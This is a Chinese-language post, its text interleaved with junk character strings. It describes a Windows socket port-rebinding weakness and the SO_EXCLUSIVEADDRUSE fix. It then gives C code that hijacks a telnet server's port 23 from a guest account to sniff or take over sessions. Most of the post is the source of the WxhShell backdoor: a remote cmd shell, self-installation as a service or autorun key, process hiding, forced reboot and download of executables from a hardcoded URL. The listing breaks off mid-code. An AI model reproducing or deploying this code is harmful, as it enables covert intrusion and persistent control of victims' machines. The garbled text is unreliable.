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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ]abox%U=% s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); twJ)h :!_y i.*Utm`1"e saddr.sin_family = AF_INET; qUF}rlS=r GOhGSV# saddr.sin_addr.s_addr = htonl(INADDR_ANY); NhA_dskvo ?W4IAbT\G bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); [#6Eax,j ^H
UNq[sQ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 E;^~} w>$2 这意味着什么?意味着可以进行如下的攻击: xQ7-4N, m>@ *-*8k 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 O&u[^s/^ a).bk!G 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) +MP`iuDO 2kU=9W6ND 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Td>Lp=0rU RA~%Cw4t 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 Wo+'j $k rN%aP-sa< 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 SB'$?Kh X"qC&oZmf 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 :TzHI d*xKq"+
&E 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 6P KH% i@}/KT #include U[UjL)U #include
W{2(fb #include
Q>}*l|Ci #include X}$uvB}+> DWORD WINAPI ClientThread(LPVOID lpParam); [#emm1k int main() _PeBV< { NbtNu$%t WORD wVersionRequested; O7z-4r DWORD ret; ^s&1,
WSADATA wsaData; 2_]"9d4 BOOL val; @4N@cM0
SOCKADDR_IN saddr; K)C9)J< SOCKADDR_IN scaddr; %l7|+%M.{ int err; 8'B SOCKET s; %2)'dtPD~ SOCKET sc; "##Ylq( " int caddsize; J9
iQ W HANDLE mt; =c, m)\u/8 DWORD tid; |tU4(hC wVersionRequested = MAKEWORD( 2, 2 ); J`8bh~7 err = WSAStartup( wVersionRequested, &wsaData ); 8UyYN$7V if ( err != 0 ) { LL1HDG>l printf("error!WSAStartup failed!\n"); 0 oFRcU return -1; x!o>zT\ } F(i@Gm=J] saddr.sin_family = AF_INET; <e
'S' j7|r^ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ?=;dNS@i@ BtN@P23>k. saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Gdd lB2L)x saddr.sin_port = htons(23); {-(B if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =gb.%a{R { Ol9'ZB|R printf("error!socket failed!\n"); wtDy-H n return -1; W:^\Oe5&a } %usy`4
2 val = TRUE; jz_\B(m9% //SO_REUSEADDR选项就是可以实现端口重绑定的 mG!Rh if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) (bk~,n_ { [C]u!\(IF printf("error!setsockopt failed!\n"); =*aun& return -1; #lM :BO } 6jiz$x //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; jMvWS71 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 'W/E*O6BY //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 h<50jnH! A7!=`yA$ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) W`KRaL0^ { j`Xe0U< ret=GetLastError(); 8pfQAzl printf("error!bind failed!\n"); ZS@Cd9* return -1; ptXLWv` } 0\*6UH listen(s,2); E5P?(5Nv while(1) ?th`5K30 { c:Tw.WA caddsize = sizeof(scaddr); )/u?_)b4" //接受连接请求 _-^Lr
/`G! sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); <B*}W2\ if(sc!=INVALID_SOCKET) %{*}KsS`p {
p2;-*D mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); xe;1D'( if(mt==NULL) |5
sI=?p&t { fT-yY` printf("Thread Creat Failed!\n"); e5_:15%R\ break; G9.+N~GZ. } }>\+eG } %G& Zm$u= CloseHandle(mt); }kaU0 P } hVe@:1og# closesocket(s); MX-(;H WSACleanup(); OQ>r;)/ return 0; Br2ZloJ@+ } Ldnw1xy DWORD WINAPI ClientThread(LPVOID lpParam) 2-9'zN0u { ]urrAIK SOCKET ss = (SOCKET)lpParam; ^d! (8vh SOCKET sc; YPraf$ unsigned char buf[4096]; ewYZ} "o SOCKADDR_IN saddr; iol.RszlZ| long num; &y?L^Aq DWORD val; FTx&] QN? DWORD ret; }5Yd:%u5 //如果是隐藏端口应用的话,可以在此处加一些判断 jFBLElE //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 'OKDB7Ni saddr.sin_family = AF_INET; p.9VyM saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); beyC't saddr.sin_port = htons(23); S.bB.< if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8S_i; { 8v7;{4^ printf("error!socket failed!\n"); _u$X.5Q; return -1; io_4d2uBh } _q >>]{5 val = 100; J+3PUfg>@R if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 20G..>zW { Z[Gs/D ret = GetLastError(); E"D+CD0 return -1; &[*F!=%8 } Suixk'- if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) uUXvBA?l { >y%*HC!G ret = GetLastError(); S&jZYq** return -1; *xxG@h|5n } 9IgozYj if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) I4kN4*d!N, { tH0=ysf printf("error!socket connect failed!\n"); `}/&}Sp closesocket(sc); VY)!bjW. closesocket(ss); n22k<@y return -1; KS($S(Fi } c0v;r4Jo#j while(1) Jrp{e("9 { oR'8|~U@B //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 2)DrZI //如果是嗅探内容的话,可以再此处进行内容分析和记录 q| p6UL9 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 sM)n-Yy#9 num = recv(ss,buf,4096,0); E9_aNYD if(num>0) \hpD send(sc,buf,num,0); =p 9d4smbn else if(num==0) xy>~1 5 break; lg_X|yhL num = recv(sc,buf,4096,0); 0*S2_&Q) if(num>0) gbOd(ugH send(ss,buf,num,0); |A".Mo_5 else if(num==0) IP'gN-#i break; W-9^Ncp } 0;,4.hsh closesocket(ss); ZOGH.` closesocket(sc); &DC
o;Ij; return 0 ; Wb:jZ } q.6$-w {8Jr.&Y2 qrBo'@7 ========================================================== Ay'2!K,I u(B0X=B 下边附上一个代码,,WXhSHELL *k:Sg*neVq RX.n7Tb ========================================================== G*_$[| H n5i#GvO^ #include "stdafx.h" MsMNP[-l ^v.~FFK #include <stdio.h> eIjn~2^ #include <string.h> b_xn80O
#include <windows.h> p!<Y 'G #include <winsock2.h> wjGD[~mB #include <winsvc.h> Gp.+&\vi #include <urlmon.h> ^sxcBG |,c\R"8xS #pragma comment (lib, "Ws2_32.lib") ]YcM45xg #pragma comment (lib, "urlmon.lib") Ie(vTP1Cj 6]#pPk8[Z #define MAX_USER 100 // 最大客户端连接数 w 8M,35b #define BUF_SOCK 200 // sock buffer F;l*@y Tq #define KEY_BUFF 255 // 输入 buffer xh[De}@ 5 3=zHYQ #define REBOOT 0 // 重启 b]s.h8+v; #define SHUTDOWN 1 // 关机 :4]^PB@dl 8 ;oU{ #define DEF_PORT 5000 // 监听端口 '1]Iu@? JiL%1y9| #define REG_LEN 16 // 注册表键长度 Pl4$`Qw#y #define SVC_LEN 80 // NT服务名长度 Bi?+e~R Id3i qAL // 从dll定义API 7Pu.<b} typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); W|_^Oe< typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4%/iu)nx typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z6%Hhk[ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); IM:*uv .[Ezg(U}ze // wxhshell配置信息 [5$=G@ zf struct WSCFG { Q C?*O?~# int ws_port; // 监听端口 dLQV>oF char ws_passstr[REG_LEN]; // 口令 A7!!kR": int ws_autoins; // 安装标记, 1=yes 0=no :=u Ku'~ char ws_regname[REG_LEN]; // 注册表键名 c}K>#{YeB char ws_svcname[REG_LEN]; // 服务名 R(Y4n w+Y- char ws_svcdisp[SVC_LEN]; // 服务显示名 FV|/o%XqK char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]i\C4* char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Gz)]1Z{%$ int ws_downexe; // 下载执行标记, 1=yes 0=no 9l9h*Pgt char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" bd],fNgJ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dZ'hTzw~ |` gSkv }; ni$7)YcF !e*BQ3 // default Wxhshell configuration ^s<p5V struct WSCFG wscfg={DEF_PORT, ,gHgb "xuhuanlingzhe", 7XLz Ewa 1, 6@_Vg~=S "Wxhshell", g:bw;6^u "Wxhshell", ^M60#gJ "WxhShell Service", W#1t%hT$ "Wrsky Windows CmdShell Service", n~xh
%r; "Please Input Your Password: ", dQ+{Dv3A 1, /L,VZ?CmtK " http://www.wrsky.com/wxhshell.exe", }{<@wE%s "Wxhshell.exe" V<f76U) }; KCG-&p$v@s n JH+P!AC // 消息定义模块 -s
Iji)t char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~$7fU char *msg_ws_prompt="\n\r? for help\n\r#>"; <{U "0jY!9 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; HS!O;7s' char *msg_ws_ext="\n\rExit."; -'
7I|r char *msg_ws_end="\n\rQuit."; 5N=QS1<$5 char *msg_ws_boot="\n\rReboot..."; J6 }J / char *msg_ws_poff="\n\rShutdown..."; NIn# char *msg_ws_down="\n\rSave to "; Qx,jUL#2 Vm
NCknG char *msg_ws_err="\n\rErr!"; ?`%7Y~ char *msg_ws_ok="\n\rOK!"; ; n tq% :BFecS&i5 char ExeFile[MAX_PATH]; *G|w#-\.c int nUser = 0; r@;n \ HANDLE handles[MAX_USER]; C^vB&3ghi int OsIsNt; 0_7A
<
h"<-^=b SERVICE_STATUS serviceStatus; 5"1kfB3v SERVICE_STATUS_HANDLE hServiceStatusHandle; G2Zr(b') cnfjOg'\{ // 函数声明 J)R;NYl int Install(void); 0&!,+ int Uninstall(void); __Ei;%cV int DownloadFile(char *sURL, SOCKET wsh); #P8R int Boot(int flag); sYlA{Z" void HideProc(void); fN4d^0& int GetOsVer(void); .H,v7L,~88 int Wxhshell(SOCKET wsl); uzA"+cV5 void TalkWithClient(void *cs); 3LKL,z int CmdShell(SOCKET sock); 96Kv! int StartFromService(void); JY4sB8 int StartWxhshell(LPSTR lpCmdLine); H4#|f n f>d aK9$( VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]=T`8)_r) VOID WINAPI NTServiceHandler( DWORD fdwControl ); k.b->U +D
,Nd=/ // 数据结构和表定义 Y0`=h"g SERVICE_TABLE_ENTRY DispatchTable[] = lFMQT
; { @SA:64
9 {wscfg.ws_svcname, NTServiceMain}, uZ}=x3B {NULL, NULL} u*#j;Xc }; s>8;At- =?Y%w%2 // 自我安装
G:TM k4 int Install(void) ]oy>kRnb { { ^,`;x char svExeFile[MAX_PATH]; 24u;'i-y5 HKEY key; v[efM8 strcpy(svExeFile,ExeFile); 0"q ^`@sZ $ekJs/I& // 如果是win9x系统,修改注册表设为自启动 qi!Nv$e if(!OsIsNt) { [o]^\ay if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *m_B#~4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o /uA_19 RegCloseKey(key); zqqu7.` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vMBF7Jfx RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?2D1gjr RegCloseKey(key); D@:w/W return 0; C(( 7 } sB|>\O#- } &gdtI } U&W{;myt else { y_bb//IAG o#wDA0T // 如果是NT以上系统,安装为系统服务 6ybpPls SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); SF?Ublc! if (schSCManager!=0) [UqJ3@> { L`v7|! X SC_HANDLE schService = CreateService *aKT&5Ch- ( g]B!
29M schSCManager, 0<3)K[m~H wscfg.ws_svcname, |)4Fe/!cJ wscfg.ws_svcdisp, R2ue kpP SERVICE_ALL_ACCESS, R0>GM`{ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1\GS"4~P SERVICE_AUTO_START, e
C\;n SERVICE_ERROR_NORMAL, di^E8egR$ svExeFile, `?Wy;5- NULL, !1+yb.{\ NULL, KjK.Sv{N NULL, ~";GH20 NULL, :G+8%pUX] NULL fJ
\bm ); $]eU'!2) if (schService!=0) ^HpUbZpat) { xO2e>[W CloseServiceHandle(schService); <=m@Sg{o CloseServiceHandle(schSCManager); ySyA!Z strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @=@7Uu- strcat(svExeFile,wscfg.ws_svcname); a`]Dmw8@ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { BEn,py7 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Q
a(>$. h RegCloseKey(key); *;(wtMg return 0; u=epnz:< } n}NO"eF>-s } FjUf| CloseServiceHandle(schSCManager); 4.?tP7UE } N7/eF9 } 1A>>#M=A Y",
:u@R return 1; E+>$@STv# } ;MD6iBD GEJEhwO;H // 自我卸载 eBw6k09C+ int Uninstall(void)
9
gt$z}oU { ][Ne;F6 HKEY key; lFHj]%Y {rp5qgVE< if(!OsIsNt) { :el]IH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
{*EA5; RegDeleteValue(key,wscfg.ws_regname); #
tN#_<W RegCloseKey(key); Q>`|{m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8t{- RegDeleteValue(key,wscfg.ws_regname); 6pyLb3[e RegCloseKey(key); Q};g~b3 return 0; u;{,,ct } dEz7 @T } ,yZvT7 } xx^7 else { ZM:!LkK 37:\X5)z/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "?_r?~sJx if (schSCManager!=0) !'E{D`A9 { XYeuYLut SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); PjL"7^Q& if (schService!=0) @qC](5|TQ { ;xp^FKP if(DeleteService(schService)!=0) { +mc0:e{WF CloseServiceHandle(schService); 1trk CloseServiceHandle(schSCManager); -Xm/sq(i)% return 0;
Iu<RwB[#Q } 58T<~u7 CloseServiceHandle(schService); MiB"CcU } IF"-{@ CloseServiceHandle(schSCManager); (]*otVJ } ?`jh5Kw%y } Xbm\"g \ n*7Ytz3#' return 1; vjfV??XSU } FH"u9ygF t)O8ON // 从指定url下载文件 5 iz(R:P< int DownloadFile(char *sURL, SOCKET wsh) 5.1 c#rL { {+n0t1 HRESULT hr; l!6^xMhYk char seps[]= "/"; uif1)y`Q$C char *token; F\Qukn char *file; h]|E,!H char myURL[MAX_PATH]; >P@JiR<@\n char myFILE[MAX_PATH]; HY
(|31 D_n(T') strcpy(myURL,sURL); )0RznFJ+X token=strtok(myURL,seps); BQ\o?={ while(token!=NULL) P, (#'
W { P5vxQR_*lc file=token; @j|B1:O token=strtok(NULL,seps); az5 $. } b+Ly%& +:JyXFu GetCurrentDirectory(MAX_PATH,myFILE); g\Ck!KJ/y strcat(myFILE, "\\"); -+#QZ7b strcat(myFILE, file); Vh%=JL
sK send(wsh,myFILE,strlen(myFILE),0); ;ALkeUR[ send(wsh,"...",3,0); 9DAk|K hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F;I % 9-R if(hr==S_OK) Y|NL #F return 0; 8efQ-^b. else /hNZ7\|P return 1; Klw\ jB"?iC. } 9Z KB, yXuc<m // 系统电源模块 KF'DOXBw> int Boot(int flag) dZSv=UY) { 3,Dc}$t HANDLE hToken; o.)8A8 TOKEN_PRIVILEGES tkp; #&L[?jEn ;QRnZqSv if(OsIsNt) { /FP;Hsw% OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); IW Ro$Yu LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )QeXA) tkp.PrivilegeCount = 1; ~Ogtgr tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; G-54D_ 4 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); f{m,?[1C, if(flag==REBOOT) { G4VdJ(_ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :n@j"-HA return 0; 9KqN . } C(RZ09,.S else { '+@q if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) gj\'1(Ju return 0; ]Wn^m+ } n!nXM } -AJ$-y else { 0`{3|g if(flag==REBOOT) { Rh=,]Y if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) aGl*h"& return 0; LF2@qv w D } 'dkKBLsx else { ZSB_OS[N if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X =sC8E dx return 0; 3G4N0{i } -uE2h[X| } ??4#)n
k LjE@[@d return 1; U\crp
T` } aJQx"6c? Z#J
cNquM // win9x进程隐藏模块 ~+JEl% void HideProc(void) XAn{xNpz { ~v
/N G R<5GG|(B HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zOkIPv52~ if ( hKernel != NULL ) H[cHF { D8w:c6b pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u$3wdZ2&m ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6m=FWw3y FreeLibrary(hKernel); $p(,Qz(.8 } FuA8vTV{ y([""z3<w return; %Ydzzr3 } M[;N6EJH Qh3V[br // 获取操作系统版本 QG|KZ8uO int GetOsVer(void) vf|lF9@U { } Fw/WD OSVERSIONINFO winfo; gK`o;` ^ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); nb
-Je+ GetVersionEx(&winfo); /Ir|& <yB if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >.tP7= return 1; Ps0g else FN25,Q8:*I return 0; P
57{ } N33{vx iva?3.t // 客户端句柄模块 rO_|_nV[ int Wxhshell(SOCKET wsl) r`; " { 01/? SOCKET wsh; 4 yk!T struct sockaddr_in client; x/7d!>#; DWORD myID; P ~pC /z &ye,A(4 while(nUser<MAX_USER) wRc=;f { Up(Jw-. int nSize=sizeof(client); Rk1B \L|M wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^m3[mY [a if(wsh==INVALID_SOCKET) return 1; #Cwzk{p( <`'^rCWI? handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); AK#`&)0i if(handles[nUser]==0) .7BB*!CP closesocket(wsh); [P,/J$v^~ else %LL*V| nUser++; ylV.ZoY6 } O_f+#K) WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); oX2J2O FY^#%0~ return 0; Kb<^Wdy4T } ~#doJ:^H3 -y@5% _- // 关闭 socket #^\qFj void CloseIt(SOCKET wsh) Ws+Zmpk% { SS4'yaQ closesocket(wsh); v}$s,j3NO nUser--; nDdF(|Qt ExitThread(0); :4{;^|RgU } WWO@ULGY !A. Kb74 // 客户端请求句柄 ]h
Dy] void TalkWithClient(void *cs) b),_rr { F(-1m A&- ?q68{!{bi SOCKET wsh=(SOCKET)cs; U?MKZL7 char pwd[SVC_LEN]; 208 dr*6U char cmd[KEY_BUFF]; :%#(<@ { char chr[1]; Ik9 2='Z int i,j; dIOj]5H3F a ]PS` while (nUser < MAX_USER) { Jkc1ih`^ Kg#5
@; if(wscfg.ws_passstr) { q=o"]
6 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Qx_K) //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pB3dx#l //ZeroMemory(pwd,KEY_BUFF); [n53eC i=0; if
S)
< t while(i<SVC_LEN) { J!%cHqR HuX{8nl a // 设置超时 q{rc[ s? fd_set FdRead; $] js0)> struct timeval TimeOut; \X'{ e e FD_ZERO(&FdRead); a"!D @a FD_SET(wsh,&FdRead); ]Z@+
|&@L TimeOut.tv_sec=8; vFKt=o$ g TimeOut.tv_usec=0; .kBZ(`K int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F-=W7 D:[c if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); IT`r&;5 lS`hJ: if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :QSCky*i pwd =chr[0]; \XG18V& if(chr[0]==0xd || chr[0]==0xa) { %H-(-v^T* pwd=0; #-QQ_ break; bS0z\!1 } l_GsQ0 i++; Wcgy:4K3 } ([-xM%BI6 :Kc}R)6 // 如果是非法用户,关闭 socket q><E? if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]FJpe^
ua } ^,Sl^ 9K Q(
WE.ux)< send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zuWfR&U|W send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D@Zb|EI%< I|6wPV? while(1) { }y-b<J?H KUC (n! ZeroMemory(cmd,KEY_BUFF); -L9I;]:KY w3^>{2iqq // 自动支持客户端 telnet标准 oSb,)k@ j=0; Ax#$z while(j<KEY_BUFF) { Wr \rruH6 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DqLZc01> cmd[j]=chr[0]; :v_H;UU if(chr[0]==0xa || chr[0]==0xd) { [l+1zt0w0 cmd[j]=0; sK#)wjj\^ break; 9d7$Fz# } py,B6UB5 j++; c3\z } |eEcEu?/b d83K;Ryd // 下载文件 zc<C %t[~y if(strstr(cmd,"http://")) { xh7#\m_U8 send(wsh,msg_ws_down,strlen(msg_ws_down),0); [!@&t:A if(DownloadFile(cmd,wsh)) ZMSP8(V send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0]dL;~0y. else Kvu0Av-7 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kf3yJP/ } W$x'+t5H else { H3=U|wr| S`LS/) switch(cmd[0]) { @v1f)(N |[k/% // 帮助 A7~~{9 case '?': { E%CJM+r! send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); rYnjQr2a break; c'=p4Fcm } '_z#}P< // 安装 ~-+lZ4} case 'i': { %ZF6%m0S if(Install()) *$ZLu jy7 send(wsh,msg_ws_err,strlen(msg_ws_err),0); *"N756Cj else )V!dmVQq{g send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +LwE=unS break; PvzB, 2": } <y+8\m // 卸载 :les
3T}2 case 'r': { G)A5;u\P9 if(Uninstall()) &j@i>(7 send(wsh,msg_ws_err,strlen(msg_ws_err),0);
1*_wJ else fJ[(zjk send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kaxAIk8l break; jgLCs)=5hV } r5!I|E // 显示 wxhshell 所在路径 u!([m;
x| case 'p': { su~_l[6 char svExeFile[MAX_PATH]; Q3SwW strcpy(svExeFile,"\n\r"); ,+0>p strcat(svExeFile,ExeFile); 9JHu{r"M send(wsh,svExeFile,strlen(svExeFile),0); Z8??+d= break; *KP
60T } ?]S!-6: // 重启 pKrol]cth8 case 'b': { O!!Ne'I send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *g$egipfF if(Boot(REBOOT)) X<4h"W6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); gi;#?gps else { j HT2|VGb* closesocket(wsh); neGCMKtzlJ ExitThread(0); %DAF26t } 9}`A_KzFx break; 1uTbN } #D"fCVIS // 关机 Wq!n8O1 case 'd': { kve{CO* send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b {e nD if(Boot(SHUTDOWN)) 8=^o2& send(wsh,msg_ws_err,strlen(msg_ws_err),0); MtAD&+3$ else { wL]7d3t closesocket(wsh); *
%p6+D-C ExitThread(0); v*Qr(4 } i[b?W$]7 break; pIh%5ZU } uy~KJn?Tu // 获取shell Az2HlKF"L case 's': { s9 '*Vm CmdShell(wsh); Cc:m~e6r closesocket(wsh); %2=nS<kC ExitThread(0); lgC|3] break; J7R+|GTcx } :F:<{]oG_ // 退出 ms'!E) case 'x': { 9?)r0`:# send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .S&S#}$/] CloseIt(wsh); v_*E:E break; ".z~c%' } YX+Da"\ // 离开 /8baJ+D"4\ case 'q': { S8+Xk= x send(wsh,msg_ws_end,strlen(msg_ws_end),0); CCJ!;d;&87 closesocket(wsh); /#?lG`'1 WSACleanup(); a_5 `9B L exit(1); XJ;kyEx3=O break; euHX7 } }}v04~ } {5U;9: sO6 } dq?q(_9 KOWx P47b // 提示信息 O$B]#]L+ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); { U a19~'> } MjMPbGUX{ } 6N
>ksqo8% mqGp]'{ return; x\j6=| } .IYE+XzV S2)rkX$ // shell模块句柄 ,,r%Y&:`6 int CmdShell(SOCKET sock) 7~[1%` { 4
Y q|Z STARTUPINFO si; zO`54^ ZeroMemory(&si,sizeof(si)); u]P0:)tS. si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; STp}?Cb si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; VIL #q PROCESS_INFORMATION ProcessInfo; Ml8 '=KN_ char cmdline[]="cmd"; ANh5-8y CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >\b=bT@iM return 0; 2s,wC!', } (
q^umw W`], // 自身启动模式 8Pklw^k int StartFromService(void) RRy3N
)HR { Fs7/3
typedef struct 5EDM?G { :0pxacD"! DWORD ExitStatus; Y3jb'S4( DWORD PebBaseAddress; DUiqt09`~ DWORD AffinityMask; fL4F
~@`9l DWORD BasePriority; =8 d`qS" ULONG UniqueProcessId; ):C4"2l3 ULONG InheritedFromUniqueProcessId; }' `2C$ } PROCESS_BASIC_INFORMATION; A(#hyb# .H+`]qLkL PROCNTQSIP NtQueryInformationProcess; J?$4Yf _T^ip.o static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; w5|az6wZB! static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; d|5u<f5 /EhojODMF HANDLE hProcess; <'QHe4 PROCESS_BASIC_INFORMATION pbi; 67 >*AL `':$PUz,g HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s,ZJ?[/ if(NULL == hInst ) return 0; $(_Xt- 6 BuI&kU,WY g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rWF~aec g_pGetModuleBaseName = 